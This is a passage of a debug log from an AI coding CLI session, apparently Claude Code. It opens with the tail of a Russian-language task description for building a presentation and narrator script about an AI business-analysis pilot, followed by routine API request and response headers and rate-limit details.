\u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430/\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438.\\n6. **\u0421\u0440\u0435\u0434\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f:** \u0422\u0435\u043a\u0443\u0449\u0438\u0439 \u043f\u0438\u043b\u043e\u0442 \u043d\u0430 \u0410\u0420\u041c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f (GigaCode CLI / Cline) \u2192 \u0412\u0435\u043a\u0442\u043e\u0440 \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u044f: \u0421\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u0440\u0435\u0434\u0430 (\u0421\u0440\u0435\u0434\u0430 4) \u0441 \u0435\u0434\u0438\u043d\u044b\u043c \u044f\u0434\u0440\u043e\u043c-\u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u043c.\\n7. **\u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435:** \u041a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0430 \u0432\u044b\u0445\u043e\u0434\u0430 \u043a\u0430\u043a \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u044f \u0431\u0435\u0441\u0448\u043e\u0432\u043d\u043e\u0439 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0443.\\n\\n*\u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u043a \u0441\u043b\u0430\u0439\u0434\u0443:* \u041d\u043e\u043c\u0435\u0440, \u0435\u043c\u043a\u0438\u0439 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a-\u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435, 3-5 \u043a\u0440\u0430\u0442\u043a\u0438\u0445 \u0442\u0435\u0437\u0438\u0441\u043e\u0432 (bullet points), \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u0430\u044f \u0446\u0438\u0442\u0430\u0442\u0430 \u0438\u043b\u0438 \u043a\u043b\u044e\u0447\u0435\u0432\u0430\u044f \u043c\u0435\u0442\u0440\u0438\u043a\u0430, **\u043f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f** (Midjourney/DALL-E \u0441\u0442\u0438\u043b\u044c), \u043e\u0442\u0440\u0430\u0436\u0430\u044e\u0449\u0438\u0439 \u0441\u0443\u0442\u044c \u0441\u043b\u0430\u0439\u0434\u0430.\\n\\n**\u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442 2: \u0421\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u0438 (\u0414\u043b\u044f \u0434\u0438\u043a\u0442\u043e\u0440\u0430)**\\n\u0420\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044b\u0439, \u043d\u043e \u0442\u0435\u0437\u0438\u0441\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442 \u0434\u043b\u044f \u0443\u0441\u0442\u043d\u043e\u0433\u043e \u0441\u043e\u043f\u0440\u043e\u0432\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0441\u043b\u0430\u0439\u0434\u0430. \u0414\u043e\u043b\u0436\u0435\u043d \u043e\u0431\u044a\u044f\u0441\u043d\u044f\u0442\u044c \\\"\u043f\u043e\u0447\u0435\u043c\u0443\\\" \u0438 \\\"\u043a\u0430\u043a\\\", \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u0442\u044c \u0441\u043b\u0430\u0439\u0434\u044b \u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u043c\u0438 \u043c\u043e\u0441\u0442\u0438\u043a\u0430\u043c\u0438, \u0434\u0435\u043b\u0430\u0442\u044c \u0430\u043a\u0446\u0435\u043d\u0442 \u043d\u0430 \u044d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u043e\u043f\u044b\u0442\u0435 (60+ \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0432 `mango_ba_prompts`) \u0438 \u043e\u0442\u0432\u0435\u0447\u0430\u0442\u044c \u043d\u0430 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u044b\u0435 \u0432\u043e\u043f\u0440\u043e\u0441\u044b \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f.\\n\\n**\u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0438 \u0433\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u0438 (Definition of Done):**\\n- [ ] \u0421\u043e\u0437\u0434\u0430\u043d \u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442 1 (\u0428\u0430\u0431\u043b\u043e\u043d \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u0438) \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 Markdown, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0439 \u0432\u0441\u0435 7 \u0441\u043c\u044b\u0441\u043b\u043e\u0432\u044b\u0445 \u0431\u043b\u043e\u043a\u043e\u0432, \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u0434\u043b\u044f \u0432\u0438\u0437\u0443\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u0441\u0442\u0440\u043e\u0433\u043e\u0435 \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u043e\u0432 \u043b\u0430\u043a\u043e\u043d\u0438\u0447\u043d\u043e\u0441\u0442\u0438.\\n- [ ] \u0421\u043e\u0437\u0434\u0430\u043d \u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442 2 (\u0421\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u0434\u043b\u044f \u0434\u0438\u043a\u0442\u043e\u0440\u0430), \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u043e \u043d\u043e\u043c\u0435\u0440\u0430\u043c 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\u0417\u0430\u0434\u0430\u0447\u0430 \u043f\u0435\u0440\u0435\u0432\u0435\u0434\u0435\u043d\u0430 \u0432 \u0441\u0442\u0430\u0442\u0443\u0441 `review`.\\n\\n**\u041e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u0438\u044f \u043e\u0442 \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 (\u0412\u0430\u0436\u043d\u043e):**\\n\u041f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u0437\u0430\u0434\u0430\u0435\u0442 \u0441\u043c\u044b\u0441\u043b\u043e\u0432\u043e\u0439 \u0432\u0435\u043a\u0442\u043e\u0440 \u0438 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0442\u0435\u043c\u044b. **\u0418\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0444\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435** \u043e \u0442\u043e\u043c, \u043a\u0430\u043a \u0438\u043c\u0435\u043d\u043d\u043e \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b, \u043a\u0430\u043a\u0438\u0435 \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u0432, \u043a\u0430\u043a \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u0434\u043b\u044f \u043a\u0430\u0440\u0442\u0438\u043d\u043e\u043a \u0438 \u043a\u0430\u043a \u0432\u044b\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u043d\u0430\u0440\u0440\u0430\u0442\u0438\u0432 \u0432 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438. \u041c\u0438\u043a\u0440\u043e\u043c\u0435\u043d\u0435\u0434\u0436\u043c\u0435\u043d\u0442 \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d. \u041f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442 \u2014 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u0430\u044f \u0443\u0431\u0435\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c, \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u0430\u044f \u0442\u043e\u0447\u043d\u043e\u0441\u0442\u044c \u0438 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435 \u043b\u0443\u0447\u0448\u0438\u043c \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0430\u043c \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0438 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u043e\u0432 \u0434\u043b\u044f C-level/Head of AI \u0430\u0443\u0434\u0438\u0442\u043e\u0440\u0438\u0438. \u041c\u044b \u043d\u0435 \u0432\u044b\u0434\u0443\u043c\u044b\u0432\u0430\u0435\u043c \u0432\u0435\u043b\u043e\u0441\u0438\u043f\u0435\u0434, \u0430 \u0430\u0434\u0430\u043f\u0442\u0438\u0440\u0443\u0435\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u0444\u043e\u0440\u043c\u0430\u0442\u044b \u043f\u043e\u0434 \u043d\u0430\u0448\u0443 \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0443.\",\n[2026-09-29T07:46:50.347Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:46:50.347Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:46:50.347Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:46:50.347Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:46:50.347Z] [INFO]   }\n[2026-09-29T07:46:50.347Z] [INFO] }\n[2026-09-29T07:46:50.355Z] [STDOUT] [log_c3c4e4] sending request {\n[2026-09-29T07:46:50.358Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:46:50.361Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:50.370Z] [STDOUT]   options: {\n[2026-09-29T07:46:50.372Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:46:50.378Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:46:50.384Z] [STDOUT]     body: {\n[2026-09-29T07:46:50.391Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:46:50.402Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:46:50.407Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:46:50.417Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:46:50.423Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:46:50.431Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:46:50.439Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:46:50.447Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:46:50.451Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:46:50.464Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:46:50.475Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:46:50.491Z] [STDOUT]       stream: true,\n[2026-09-29T07:46:50.505Z] [STDOUT]     },\n[2026-09-29T07:46:50.510Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:46:50.514Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:46:50.518Z] [STDOUT]       aborted: false,\n[2026-09-29T07:46:50.526Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:46:50.529Z] [STDOUT]       onabort: null,\n[2026-09-29T07:46:50.534Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:46:50.538Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:46:50.543Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:46:50.548Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:46:50.551Z] [STDOUT]     },\n[2026-09-29T07:46:50.553Z] [STDOUT]     stream: true,\n[2026-09-29T07:46:50.558Z] [STDOUT]   },\n[2026-09-29T07:46:50.562Z] [STDOUT]   headers: {\n[2026-09-29T07:46:50.564Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:46:50.567Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:46:50.573Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:46:50.577Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:46:50.579Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:46:50.581Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:46:50.585Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:46:50.593Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:46:50.600Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:46:50.608Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=2357\",\n[2026-09-29T07:46:50.611Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:46:50.613Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:46:50.615Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:50.617Z] [STDOUT]     \"x-client-request-id\": \"59c503e2-3bc1-4caf-918e-6e14e0f015e7\",\n[2026-09-29T07:46:50.624Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:46:50.627Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:46:50.630Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:46:50.634Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:46:50.639Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:46:50.642Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:46:50.644Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:46:50.648Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:46:50.658Z] [STDOUT]   },\n[2026-09-29T07:46:50.661Z] [STDOUT] }\n[2026-09-29T07:46:50.879Z] [STDOUT] [log_c3c4e4, request-id: \"req_011CfXMs3fwQoX8S5YLXibc1\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 775ms\n[2026-09-29T07:46:50.884Z] [STDOUT] [log_c3c4e4] response start {\n[2026-09-29T07:46:50.893Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:50.900Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:50.908Z] [STDOUT]   headers: {\n[2026-09-29T07:46:50.915Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:50.933Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:50.940Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:50.944Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:46:50.948Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:50.954Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:50.962Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:50.965Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:50.971Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:50.976Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:50.981Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:50.987Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:50.993Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:50.998Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:51.004Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:51.008Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:51.019Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:51.024Z] [STDOUT]     \"cf-ray\": \"a42960572e24dbb5-FRA\",\n[2026-09-29T07:46:51.028Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:46:51.032Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:51.035Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:51.043Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:51.049Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:46:50 GMT\",\n[2026-09-29T07:46:51.056Z] [STDOUT]     \"request-id\": \"req_011CfXMs3fwQoX8S5YLXibc1\",\n[2026-09-29T07:46:51.059Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:46:51.063Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:51.066Z] [STDOUT]     traceresponse: \"00-32c4bf23a58886d1657d24990060c8eb-00fe80edcd4397b2-01\",\n[2026-09-29T07:46:51.068Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:51.072Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:46:51.075Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:51.077Z] [STDOUT]   },\n[2026-09-29T07:46:51.081Z] [STDOUT]   durationMs: 775,\n[2026-09-29T07:46:51.084Z] [STDOUT] }\n[2026-09-29T07:46:51.090Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:46:51.093Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:46:50 GMT\",\n[2026-09-29T07:46:51.100Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:51.103Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:51.107Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:46:51.110Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:51.114Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:51.120Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:51.126Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:46:51.136Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:51.142Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:51.145Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:51.148Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:51.153Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:51.159Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:46:51.164Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:51.168Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:51.170Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:51.173Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:51.175Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:51.181Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:51.185Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:51.193Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:51.195Z] [STDOUT]   \"request-id\": \"req_011CfXMs3fwQoX8S5YLXibc1\",\n[2026-09-29T07:46:51.202Z] [STDOUT]   \"traceresponse\": \"00-32c4bf23a58886d1657d24990060c8eb-00fe80edcd4397b2-01\",\n[2026-09-29T07:46:51.204Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:51.224Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:51.244Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:46:51.252Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:51.255Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:51.265Z] [STDOUT]   \"cf-ray\": \"a42960572e24dbb5-FRA\",\n[2026-09-29T07:46:51.268Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:46:51.272Z] [STDOUT] [log_c3c4e4] response parsed {\n[2026-09-29T07:46:51.277Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:51.280Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:51.282Z] [STDOUT]   body: X {\n[2026-09-29T07:46:51.287Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:46:51.291Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:46:51.293Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:46:51.295Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:46:51.298Z] [STDOUT]     },\n[2026-09-29T07:46:51.304Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:46:51.307Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:46:51.309Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:46:51.313Z] [STDOUT]   },\n[2026-09-29T07:46:51.315Z] [STDOUT]   durationMs: 776,\n[2026-09-29T07:46:51.320Z] [STDOUT] }\n[2026-09-29T07:46:51.396Z] [INFO] {\n[2026-09-29T07:46:51.396Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:46:51.396Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:46:51.396Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:46:51.396Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:46:51.396Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:51.396Z] [INFO]   \"uuid\": \"ca35ea72-3977-413a-b838-f7286975490d\"\n[2026-09-29T07:46:51.396Z] [INFO] }\n[2026-09-29T07:46:51.984Z] [STDOUT] [log_232d49, request-id: \"req_011CfXMrf2fvkGLvstKgDtPW\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 7248ms\n[2026-09-29T07:46:51.987Z] [STDOUT] [log_232d49] response start {\n[2026-09-29T07:46:51.991Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:51.994Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:51.996Z] [STDOUT]   headers: {\n[2026-09-29T07:46:52.000Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:52.009Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:52.016Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:52.019Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:46:52.022Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:52.028Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:52.032Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:52.036Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:52.040Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:52.043Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:52.045Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:52.050Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:52.058Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:52.060Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:52.064Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:52.066Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:52.069Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:52.073Z] [STDOUT]     \"cf-ray\": \"a42960361a2901ff-CDG\",\n[2026-09-29T07:46:52.077Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:46:52.079Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:52.086Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:52.091Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:52.094Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:46:51 GMT\",\n[2026-09-29T07:46:52.097Z] [STDOUT]     \"request-id\": \"req_011CfXMrf2fvkGLvstKgDtPW\",\n[2026-09-29T07:46:52.102Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:46:52.105Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:52.108Z] [STDOUT]     traceresponse: 